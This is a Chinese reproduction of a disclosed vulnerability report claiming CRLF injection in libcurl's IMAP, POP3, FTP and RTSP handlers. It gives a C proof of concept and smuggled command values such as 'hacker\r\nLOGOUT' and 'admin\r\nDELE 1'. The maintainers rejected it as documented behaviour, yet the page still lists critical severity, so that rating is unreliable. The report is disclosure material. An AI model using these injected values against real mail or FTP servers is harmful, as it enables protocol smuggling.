CRLF 注入 / libcurl 协议走私漏洞报告

报告 ID: #3479984

漏洞标题: CRLF Injection / Protocol Smuggling in libcurl via CURLOPT_USERNAME (IMAP)

报告者: efrsxcv 提交时间: 3 天前

摘要

我在libcurl的IMAP协议实现中发现了一个CRLF注入漏洞。该漏洞存在于lib/imap.c文件的imap_atom函数中，该函数在处理CURLOPT_USERNAME选项时，未能正确清理或转义回车（\r）和换行（\n）字符。攻击者可以在用户名字段中插入\r\n序列，从而注入任意IMAP命令。当这些字符被发送到服务器时，它们会终止当前命令，并使后续数据被解释为一个新的、独立的命令（协议走私）。

受影响版本: 我已在curl的最新master分支上成功复现此问题。

复现步骤

要复现此问题，我们需要绕过CLI参数解析，直接通过C程序使用libcurl。同时需要一个手动的netcat监听器来观察原始协议数据。

1. 设置一个假的IMAP服务器：

打开一个终端，使用netcat监听143端口（或任何可用端口）： sudo nc -lvp 143

2. 编译概念验证（PoC）代码：

将以下代码保存为poc_imap.c，并针对libcurl进行编译（例如：gcc poc_imap.c -o poc_imap -lcurl）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#include <stdio.h>
#include <curl/curl.h>

int main(void)
{
  CURL *curl;
  CURLcode res;

  curl_global_init(CURL_GLOBAL_DEFAULT);
  curl = curl_easy_init();
  if(curl) {
    // 目标为本地主机的143端口
    curl_easy_setopt(curl, CURLOPT_URL, "imap://127.0.0.1:143/");

    // 负载注入：
    // 我们使用CRLF注入“LOGOUT”作为一个独立的命令。
    // 如果存在漏洞，这将作为原始新行发送，而不是被引号包裹。
    const char *payload = "hacker\r\nLOGOUT";

    curl_easy_setopt(curl, CURLOPT_USERNAME, payload);
    curl_easy_setopt(curl, CURLOPT_PASSWORD, "password123");

    // 设置超时，避免手动测试时无限期挂起
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);

    // 执行请求
    res = curl_easy_perform(curl);

    curl_easy_cleanup(curl);
  }
  curl_global_cleanup();
  return 0;
}

3. 运行PoC：

执行编译后的二进制文件：./poc_imap

4. 触发注入（手动握手）：

在运行netcat的终端（步骤1）中，你会看到一个连接。你必须手动模拟IMAP服务器的问候语，以便libcurl继续发送数据。

输入：* OK IMAP server ready 并按回车。
等待curl发送A001 CAPABILITY。
输入：A001 OK Capability completed 并按回车。

5. 观察注入：

握手之后，立即在netcat终端中观察输出。

结果: 服务器接收到：A002 LOGIN hacker LOGOUT password123

预期行为: 用户名应该被引号包裹（例如，"hacker\r\nLOGOUT"）或者客户端应该在发送前拒绝CRLF字符。

支持材料/参考资料:

易受攻击组件：lib/imap.c，特别是处理相关操作的imap_atom函数。
影响：这允许协议走私，使攻击者能够在经过身份验证的会话上下文中执行任意IMAP命令（如DELETE、SELECT、CREATE）。

影响

摘要: 该漏洞通过libcurl API（CURLOPT_USERNAME）触发，而非通过本地配置文件。这意味着它引入了一个远程攻击向量。

例如，一个使用libcurl对IMAP/SMTP服务器进行用户身份验证的Web应用程序，如果直接将未经净化的Web表单用户输入传递给curl_easy_setopt，就会受到协议注入/走私攻击。该库在通过网络发送之前，未能本地转义CRLF字符，破坏了协议的完整性。我已在本地使用提供的PoC确认了此行为。

漏洞变种分析

1. POP3协议同样存在漏洞

我确认POP3协议（lib/pop3.c）也存在相同的CRLF注入问题。

PoC（POP3）:

目标：模仿POP3服务器的本地netcat监听器。
负载：admin\r\nDELE 1（在CURLOPT_USERNAME中）。
观察到的输出：
1 2

USER admin DELE 1
DELE 1命令成功以新行注入，如果应用程序将未经净化的输入传递给用户名选项，攻击者即可删除消息或执行其他POP3命令。

这证实了在旧协议处理器（imap.c, pop3.c）中普遍缺乏对控制字符的输入净化。

2. FTP协议也确认存在漏洞

我成功地在FTP协议处理器（lib/ftp.c）中复现了CRLF注入。

PoC详情:

目标：ftp_state_user函数。
负载：传递给CURLOPT_USERNAME的anonymous\r\nSITE EXEC calc。
观察到的输出（Netcat）：
1 2

USER anonymous SITE EXEC calc

3. 第四个协议确认：RTSP头注入

我检查了RTSP实现（lib/rtsp.c），确认它也可以通过CURLOPT_RTSP_STREAM_URI受到CRLF注入攻击。

PoC输出（Netcat）:

1
2
3


OPTIONS rtsp://127.0.0.1:8554/movie
X-Hacked: YouArePwned RTSP/1.0
CSeq: 1

分析：注入流URI的\r\n字符破坏了RTSP请求行，迫使X-Hacked: YouArePwned被解释为一个新的头部。

易受攻击协议总结

IMAP（认证/用户）
POP3（认证/用户）
FTP（认证/用户）
RTSP（请求行/流URI）

这证实了在将输入写入套接字之前，库在处理基于文本的协议时普遍存在输入净化失败的问题。我强烈建议采用集中修复方式，而不是单独修补每个文件。

项目方回应与处理

bagder (curl 团队成员) 评论：

这是有文档记录和警告的。不被视为安全问题。

报告者进一步交流: 感谢快速分类，Badger。我理解“净化是应用程序的责任”这一立场。我尊重libcurl旨在精确传输所提供内容的目标。然而，考虑到以下因素：

许多依赖libcurl的现代包装器或应用程序默认假设库能处理基本的协议封装安全（例如防止头注入）。
开发人员忽略此警告会导致严重的协议注入漏洞（IMAP/SMTP/RTSP走私）。

未来是否有可能考虑一个“加固”补丁，明确拒绝在特定选项（如CURLOPT_USERNAME/CURLOPT_RTSP_STREAM_URI）中出现CRLF？或者，也许可以为这些特定选项在文档中做出更醒目的警告？

项目方最终处理: bagder 随后评论称此前已有约37次类似报告。并说明该论坛不适合讨论此类改进。随后，报告状态被更改为 Not Applicable（不适用），并指出不被视为安全问题。根据项目的透明度政策，该报告随后被公开披露。

报告状态:

状态：已披露（Disclosed）
严重性：严重（9 ~ 10）
弱点：CRLF注入
CVE ID：无
赏金：无

libcurl多个协议CRLF注入漏洞分析：IMAP、POP3、FTP与RTSP

本文详细披露了在libcurl库中发现的多个CRLF注入/协议走私漏洞，影响IMAP、POP3、FTP及RTSP协议。攻击者可通过在CURLOPT_USERNAME等选项中注入换行符，向服务器发送任意命令。文章包含复现步骤、POC代码及影响分析。